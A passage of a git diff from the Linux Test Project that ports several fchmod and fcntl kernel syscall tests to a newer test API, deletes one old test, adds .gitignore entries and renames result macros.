--- a/testcases/kernel/syscalls/fchmod/fchmod04.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod04.c
@@ -81,13 +81,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-
-#define DIR_MODE 	S_IRWXU | S_IRWXG | S_IRWXO
-#define PERMS		01777	/*
-				 * Mode permissions of test directory with
-				 * sticky bit set.
-				 */
-#define TESTDIR		"testdir_4"
+#include "fchmod.h"
 
 int fd;				/* file descriptor for test directory */
 char *TCID = "fchmod04";
diff --git a/testcases/kernel/syscalls/fchmod/fchmod05.c b/testcases/kernel/syscalls/fchmod/fchmod05.c
index e8a4a98..f75b9bf 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod05.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod05.c
@@ -1,24 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: fchmod05
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Author: Wayne Boyer
  *
  * Test Description:
  *  Verify that, fchmod(2) will succeed to change the mode of a directory
@@ -31,202 +14,75 @@
  * Expected Result:
  *  fchmod() should return value 0 on success and though succeeds to change
  *  the mode of a directory but fails to set setgid bit on it.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  fchmod05 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
  */
 
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <unistd.h>
-#include <grp.h>
 #include <pwd.h>
+#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "fchmod.h"
 
-#define MODE_RWX	(S_IRWXU | S_IRWXG | S_IRWXO)
-#define PERMS		043777
-#define TESTDIR		"testdir"
+#define PERMS_DIR	043777
 
-int fd;				/* file descriptor for test directory */
-char *TCID = "fchmod05";
-int TST_TOTAL = 1;
+static int fd;
 
-void setup();			/* Main setup function for test */
-void cleanup();			/* Main cleanup function for test */
-
-int main(int ac, char **av)
+static void verify_fchmod(void)
 {
-	struct stat stat_buf;	/* stat struct */
-	int lc;
-	mode_t dir_mode;	/* mode permissions set on test directory */
+	struct stat stat_buf;
+	mode_t dir_mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(fchmod(fd, PERMS_DIR));
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, "fchmod() failed unexpectly");
 
-	setup();
+	SAFE_FSTAT(fd, &stat_buf);
+	dir_mode = stat_buf.st_mode;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	if ((PERMS_DIR & ~S_ISGID) != dir_mode) {
+		tst_res(TFAIL, "%s: Incorrect modes 0%03o, Expected 0%03o",
+			TESTDIR, dir_mode & ~S_ISGID, PERMS_DIR);
+	} else {
+		tst_res(TPASS, "Functionality of fchmod(%d, %#o) successful",
+			fd, PERMS_DIR);
+	}
+}
 
-		tst_count = 0;
+static void setup(void)
+{
+	struct passwd *ltpuser;
+	struct group *ltpgroup;
 
-		/*
-		 * Call fchmod(2) with mode argument
-		 * to set setgid bit on TESTDIR.
-		 */
+	ltpuser = SAFE_GETPWNAM("nobody");
+	ltpgroup = SAFE_GETGRNAM("bin");
 
-		TEST(fchmod(fd, PERMS));
+	SAFE_MKDIR(TESTDIR, DIR_MODE);
 
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "fchmod(%d, %#o) Failed, errno=%d : %s",
-				 fd, PERMS, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-		/*
-		 * Get the directory information using
-		 * fstat(2).
-		 */
-		if (fstat(fd, &stat_buf) < 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "fstat(2) of %s failed, errno:%d",
-				 TESTDIR, TEST_ERRNO);
-		}
-		dir_mode = stat_buf.st_mode;
-		if ((PERMS & ~S_ISGID) != dir_mode) {
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o, "
-				 "Expected 0%03o",
-				 TESTDIR, dir_mode, PERMS & ~S_ISGID);
-		} else {
-			tst_resm(TPASS, "Functionality of fchmod(%d, "
-				 "%#o) successful", fd,
-				 PERMS & ~S_ISGID);
-		}
+	if (setgroups(1, &ltpuser->pw_gid) == -1) {
+		tst_brk(TBROK, "Couldn't change supplementary group Id: %s",
+			tst_strerrno(TST_ERR));
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_CHOWN(TESTDIR, ltpuser->pw_uid, ltpgroup->gr_gid);
+
+	SAFE_SETEGID(ltpuser->pw_gid);
+	SAFE_SETEUID(ltpuser->pw_uid);
+
+	fd = SAFE_OPEN(TESTDIR, O_RDONLY);
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and cd to it.
- *  Create a test directory under temporary directory.
- *  Invoke setuid to root program to modify group ownership
- *  on test directory.
- *  Open the test directory for reading.
- */
-void setup(void)
+static void cleanup(void)
 {
-	struct passwd *nobody_u;
-	struct group *bin_group;
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	nobody_u = getpwnam("nobody");
-	if (!nobody_u)
-		tst_brkm(TBROK, cleanup,
-			 "Couldn't find uid of nobody: %s", strerror(errno));
-
-#ifdef ANDROID
-	bin_group = getgrnam("everybody");
-#else
-	bin_group = getgrnam("bin");
-#endif
-	if (!bin_group)
-		tst_brkm(TBROK, cleanup,
-			 "Couldn't find gid of bin: %s", strerror(errno));
-
-	/*
-	 * Create a test directory under temporary directory with specified
-	 * mode permissions and change the gid of test directory to that of
-	 * guest user.
-	 */
-	SAFE_MKDIR(cleanup, TESTDIR, MODE_RWX);
-
-	if (setgroups(1, &nobody_u->pw_gid) == -1)
-		tst_brkm(TBROK, cleanup,
-			 "Couldn't change supplementary group Id: %s",
-			 strerror(errno));
-
-	SAFE_CHOWN(cleanup, TESTDIR, nobody_u->pw_uid, bin_group->gr_gid);
-
-	/* change to nobody:nobody */
-	if (setegid(nobody_u->pw_gid) == -1 || seteuid(nobody_u->pw_uid) == -1)
-		tst_brkm(TBROK, cleanup, "Couldn't switch to nobody:nobody: %s",
-			 strerror(errno));
-
-	/* Open the test directory for reading */
-	fd = SAFE_OPEN(cleanup, TESTDIR, O_RDONLY);
+	SAFE_SETEGID(0);
+	SAFE_SETEUID(0);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- *  Close the test directory opened in the setup().
- *  Remove the test directory and temporary directory created in
- *  in the setup().
- */
-void cleanup(void)
-{
-
-	/* Close the test directory opened in the setup() */
-	SAFE_CLOSE(NULL, fd);
-
-	setegid(0);
-	seteuid(0);
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.test_all = verify_fchmod,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod06.c b/testcases/kernel/syscalls/fchmod/fchmod06.c
index a5c6d91..02d5f90 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod06.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod06.c
@@ -1,23 +1,22 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Author: Wayne Boyer
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
- *   Author: Wayne Boyer
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
  * Test that fchmod() fails and sets the proper errno values.
  */
@@ -25,152 +24,76 @@
 #ifndef _GNU_SOURCE
 # define _GNU_SOURCE
 #endif
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <unistd.h>
-#include <grp.h>
+#include <sys/types.h>
 #include <pwd.h>
-#include <sys/mount.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define MNT_POINT "mntpoint"
 
 static int fd1;
 static int fd2;
 static int fd3;
-static const char *device;
-static int mount_flag;
 
-static struct test_case_t {
-	char *name;
+static struct tcase {
 	int *fd;
 	int mode;
 	int exp_errno;
-} test_cases[] = {
-	{"EPERM", &fd1, 0644, EPERM},
-	{"EBADF", &fd2, 0644, EBADF},
-	{"EROFS", &fd3, 0644, EROFS},
+} tcases[] = {
+	{&fd1, 0644, EPERM},
+	{&fd2, 0644, EBADF},
+	{&fd3, 0644, EROFS},
 };
 
-char *TCID = "fchmod06";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_fchmod(unsigned int i)
 {
-	int lc;
-	int i;
+	struct tcase *tc = &tcases[i];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(fchmod(*tc->fd, tc->mode));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(fchmod(*test_cases[i].fd, test_cases[i].mode));
-
-			if (TEST_RETURN == -1) {
-				if (TEST_ERRNO == test_cases[i].exp_errno) {
-					tst_resm(TPASS | TTERRNO,
-						 "fchmod: test %s success",
-						 test_cases[i].name);
-				} else {
-					tst_resm(TFAIL | TTERRNO,
-						 "fchmod: test %s FAILED with "
-						 "unexpect errno: %d",
-						 test_cases[i].name,
-						 TEST_ERRNO);
-				}
-			} else {
-				tst_resm(TFAIL,
-					 "fchmod: test %s success unexpectly",
-					 test_cases[i].name);
-			}
-		}
-
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "fchmod() passed unexpectedly (%li)",
+			TST_RET);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TST_ERR == tcases[i].exp_errno) {
+		tst_res(TPASS | TTERRNO, "fchmod() failed expectedly");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO,
+	        "fchmod() failed unexpectedly, expected %i - %s",
+		TST_ERR, tst_strerrno(TST_ERR));
 }
 
 static void setup(void)
 {
-	struct passwd *ltpuser;
-	const char *fs_type;
+	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	fd3 = SAFE_OPEN(MNT_POINT"/file", O_RDONLY);
+	fd1 = SAFE_OPEN("tfile_1", O_RDWR | O_CREAT, 0666);
+	fd2 = SAFE_OPEN("tfile_2", O_RDWR | O_CREAT, 0666);
+	SAFE_CLOSE(fd2);
 
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, "mntpoint", 0755);
-
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
-	mount_flag = 1;
-
-	/* Create a file in the file system, then remount it as read-only */
-	SAFE_TOUCH(cleanup, "mntpoint/tfile_3", 0644, NULL);
-
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
-		   MS_REMOUNT | MS_RDONLY, NULL);
-
-	fd3 = SAFE_OPEN(cleanup, "mntpoint/tfile_3", O_RDONLY);
-
-	fd1 = SAFE_OPEN(cleanup, "tfile_1", O_RDWR | O_CREAT, 0666);
-
-	fd2 = SAFE_OPEN(cleanup, "tfile_2", O_RDWR | O_CREAT, 0666);
-
-	SAFE_CLOSE(cleanup, fd2);
-
-	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
-
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	SAFE_SETEUID(ltpuser->pw_uid);
 }
 
 static void cleanup(void)
 {
-	if (seteuid(0))
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd1 > 0 && close(fd1))
-		tst_resm(TWARN | TERRNO, "close(fd1) failed");
-
-	if (fd3 > 0 && close(fd3))
-		tst_resm(TWARN | TERRNO, "close(fd1) failed");
-
-	if (mount_flag && tst_umount("mntpoint") < 0) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "umount device:%s failed", device);
-	}
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (fd3 > 0)
+		SAFE_CLOSE(fd3);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_fchmod,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod07.c b/testcases/kernel/syscalls/fchmod/fchmod07.c
deleted file mode 100644
index 66032e4..0000000
--- a/testcases/kernel/syscalls/fchmod/fchmod07.c
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: fchmod07
- *
- * Test Description:
- *  Verify that, fchmod(2) succeeds when used to change the mode permissions
- *  of a file specified by file descriptor.
- *
- * Expected Result:
- *  fchmod(2) should return 0 and the mode permissions set on file should match
- *  the specified mode.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  fchmod07 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
- */
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define TESTFILE	"testfile"
-
-int fd;				/* file descriptor for testfile */
-char *TCID = "fchmod07";
-int TST_TOTAL = 8;		/* Total number of test conditions */
-
-int Modes[] = { 0, 07, 070, 0700, 0777, 02777, 04777, 06777 };
-
-void setup();			/* setup function for the test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
-{
-	struct stat stat_buf;	/* stat(2) struct contents */
-	int lc;
-	int ind;		/* counter variable for chmod(2) tests */
-	int mode;		/* file mode permission */
-
-	TST_TOTAL = sizeof(Modes) / sizeof(int);
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			mode = Modes[ind];
-
-			/*
-			 * Call fchmod(2) with different mode permission
-			 * bits to set it for "testfile".
-			 */
-			TEST(fchmod(fd, mode));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "fchmod(%d, %#o) Failed, "
-					 "errno=%d : %s", fd, mode, TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-				continue;
-			}
-			/*
-			 * Get the testfile information using
-			 * fstat(2).
-			 */
-			if (fstat(fd, &stat_buf) < 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "fstat(2) of "
-					 "%s failed, errno:%d",
-					 TESTFILE, TEST_ERRNO);
-			}
-			stat_buf.st_mode &= ~S_IFREG;
-
-			/*
-			 * Check for expected mode permissions
-			 * on testfile.
-			 */
-			if (stat_buf.st_mode == mode) {
-				tst_resm(TPASS,
-					 "Functionality of "
-					 "fchmod(%d, %#o) successful",
-					 fd, mode);
-			} else {
-				tst_resm(TFAIL, "%s: Incorrect modes "
-					 "0%03o, Expected 0%03o",
-					 TESTFILE, stat_buf.st_mode,
-					 mode);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %o) Failed, errno=%d : %s",
-			 TESTFILE, FILE_MODE, errno, strerror(errno));
-	}
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- *  Close the testfile created in the setup.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	/* Close the TESTFILE opened in the setup() */
-	SAFE_CLOSE(NULL, fd);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/fchmodat/.gitignore b/testcases/kernel/syscalls/fchmodat/.gitignore
new file mode 100644
index 0000000..a9508bc
--- /dev/null
+++ b/testcases/kernel/syscalls/fchmodat/.gitignore
@@ -0,0 +1 @@
+/fchmodat01
diff --git a/testcases/kernel/syscalls/fchown/.gitignore b/testcases/kernel/syscalls/fchown/.gitignore
new file mode 100644
index 0000000..f33855a
--- /dev/null
+++ b/testcases/kernel/syscalls/fchown/.gitignore
@@ -0,0 +1,10 @@
+/fchown01
+/fchown01_16
+/fchown02
+/fchown02_16
+/fchown03
+/fchown03_16
+/fchown04
+/fchown04_16
+/fchown05
+/fchown05_16
diff --git a/testcases/kernel/syscalls/fchownat/.gitignore b/testcases/kernel/syscalls/fchownat/.gitignore
new file mode 100644
index 0000000..35c0034
--- /dev/null
+++ b/testcases/kernel/syscalls/fchownat/.gitignore
@@ -0,0 +1,2 @@
+/fchownat01
+/fchownat02
diff --git a/testcases/kernel/syscalls/fcntl/.gitignore b/testcases/kernel/syscalls/fcntl/.gitignore
new file mode 100644
index 0000000..8d5738f
--- /dev/null
+++ b/testcases/kernel/syscalls/fcntl/.gitignore
@@ -0,0 +1,72 @@
+/fcntl01
+/fcntl01_64
+/fcntl02
+/fcntl02_64
+/fcntl03
+/fcntl03_64
+/fcntl04
+/fcntl04_64
+/fcntl05
+/fcntl05_64
+/fcntl06
+/fcntl06_64
+/fcntl07
+/fcntl07_64
+/fcntl08
+/fcntl08_64
+/fcntl09
+/fcntl09_64
+/fcntl10
+/fcntl10_64
+/fcntl11
+/fcntl11_64
+/fcntl12
+/fcntl12_64
+/fcntl13
+/fcntl13_64
+/fcntl14
+/fcntl14_64
+/fcntl15
+/fcntl15_64
+/fcntl16
+/fcntl16_64
+/fcntl17
+/fcntl17_64
+/fcntl18
+/fcntl18_64
+/fcntl19
+/fcntl19_64
+/fcntl20
+/fcntl20_64
+/fcntl21
+/fcntl21_64
+/fcntl22
+/fcntl22_64
+/fcntl23
+/fcntl23_64
+/fcntl24
+/fcntl24_64
+/fcntl25
+/fcntl25_64
+/fcntl26
+/fcntl26_64
+/fcntl27
+/fcntl27_64
+/fcntl28
+/fcntl28_64
+/fcntl29
+/fcntl29_64
+/fcntl30
+/fcntl30_64
+/fcntl31
+/fcntl31_64
+/fcntl32
+/fcntl32_64
+/fcntl33
+/fcntl33_64
+/fcntl34
+/fcntl34_64
+/fcntl35
+/fcntl35_64
+/fcntl36
+/fcntl36_64
diff --git a/testcases/kernel/syscalls/fcntl/fcntl02.c b/testcases/kernel/syscalls/fcntl/fcntl02.c
index d7a6c19..6d0d5a7 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl02.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl02.c
@@ -55,21 +55,21 @@
 
 	TEST(fcntl(fd, F_DUPFD, min_fd));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_DUPFD, %i) failed",
 			fname, min_fd);
 		return;
 	}
 
-	if (TEST_RETURN < min_fd) {
+	if (TST_RET < min_fd) {
 		tst_res(TFAIL, "fcntl(%s, F_DUPFD, %i) returned %ld < %i",
-			fname, min_fd, TEST_RETURN, min_fd);
+			fname, min_fd, TST_RET, min_fd);
 	}
 
 	tst_res(TPASS, "fcntl(%s, F_DUPFD, %i) returned %ld",
-		fname, min_fd, TEST_RETURN);
+		fname, min_fd, TST_RET);
 
-	SAFE_CLOSE(TEST_RETURN);
+	SAFE_CLOSE(TST_RET);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/fcntl/fcntl03.c b/testcases/kernel/syscalls/fcntl/fcntl03.c
index fe1d112..b2476bf 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl03.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl03.c
@@ -51,14 +51,14 @@
 {
 	TEST(fcntl(fd, F_GETFD, 0));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_GETFD, 0) failed",
 			fname);
 		return;
 	}
 
 	tst_res(TPASS, "fcntl(%s, F_GETFD, 0) returned %ld",
-		fname, TEST_RETURN);
+		fname, TST_RET);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/fcntl/fcntl04.c b/testcases/kernel/syscalls/fcntl/fcntl04.c
index c00677c..1fb978f 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl04.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl04.c
@@ -50,21 +50,21 @@
 {
 	TEST(fcntl(fd, F_GETFL, 0));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_GETFL, 0) failed",
 			fname);
 		return;
 	}
 
-	if ((TEST_RETURN & O_ACCMODE) != O_RDWR) {
+	if ((TST_RET & O_ACCMODE) != O_RDWR) {
 		tst_res(TFAIL, "fcntl(%s, F_GETFL, 0) returned wrong "
 			"access mode %li, expected %i", fname,
-			TEST_RETURN & O_ACCMODE, O_RDWR);
+			TST_RET & O_ACCMODE, O_RDWR);
 		return;
 	}
 
 	tst_res(TPASS, "fcntl(%s, F_GETFL, 0) returned %lx",
-		fname, TEST_RETURN);
+		fname, TST_RET);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/fcntl/fcntl33.c b/testcases/kernel/syscalls/fcntl/fcntl33.c
index 13616c6..ca7a796 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl33.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl33.c
@@ -1,17 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2015 Fujitsu Ltd.
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License
- * alone with this program.
  */
 
 /*
@@ -28,8 +18,9 @@
 
 #include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_macros.h"
 
 /*
  * MIN_TIME_LIMIT is defined to 5 senconds as a minimal acceptable
@@ -50,10 +41,8 @@
 #define FILE_MODE	(S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID)
 #define PATH_LS_BRK_T	"/proc/sys/fs/lease-break-time"
 
-static void setup(void);
-static void do_test(int);
-static int do_child(int);
-static void cleanup(void);
+static void do_test(unsigned int);
+static void do_child(unsigned int);
 
 static int fd;
 static int ls_brk_t;
@@ -84,113 +73,86 @@
 		"truncate() conflicts with fcntl(F_SETLEASE, F_RDLCK)"},
 };
 
-char *TCID = "fcntl33";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int tc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (tc = 0; tc < TST_TOTAL; tc++)
-			do_test(tc);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
 	tst_timer_check(CLOCK_MONOTONIC);
 
 	/* Backup and set the lease-break-time. */
-	SAFE_FILE_SCANF(NULL, PATH_LS_BRK_T, "%d", &ls_brk_t);
-	SAFE_FILE_PRINTF(NULL, PATH_LS_BRK_T, "%d", 45);
+	SAFE_FILE_SCANF(PATH_LS_BRK_T, "%d", &ls_brk_t);
+	SAFE_FILE_PRINTF(PATH_LS_BRK_T, "%d", 45);
 
-	tst_tmpdir();
-
-	switch ((type = tst_fs_type(cleanup, "."))) {
+	switch ((type = tst_fs_type("."))) {
 	case TST_NFS_MAGIC:
 	case TST_RAMFS_MAGIC:
 	case TST_TMPFS_MAGIC:
-		tst_brkm(TCONF, cleanup,
-			 "Cannot do fcntl(F_SETLEASE, F_WRLCK) "
-			 "on %s filesystem",
-			 tst_fs_type_name(type));
+		tst_brk(TCONF,
+			"Cannot do fcntl(F_SETLEASE, F_WRLCK) on %s filesystem",
+			tst_fs_type_name(type));
 	default:
 		break;
 	}
 
-	SAFE_TOUCH(cleanup, "file", FILE_MODE, NULL);
+	SAFE_TOUCH("file", FILE_MODE, NULL);
 
 	sigemptyset(&newset);
 	sigaddset(&newset, SIGIO);
 
 	if (sigprocmask(SIG_SETMASK, &newset, &oldset) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "sigprocmask() failed");
-
-	TEST_PAUSE;
+		tst_brk(TBROK | TERRNO, "sigprocmask() failed");
 }
 
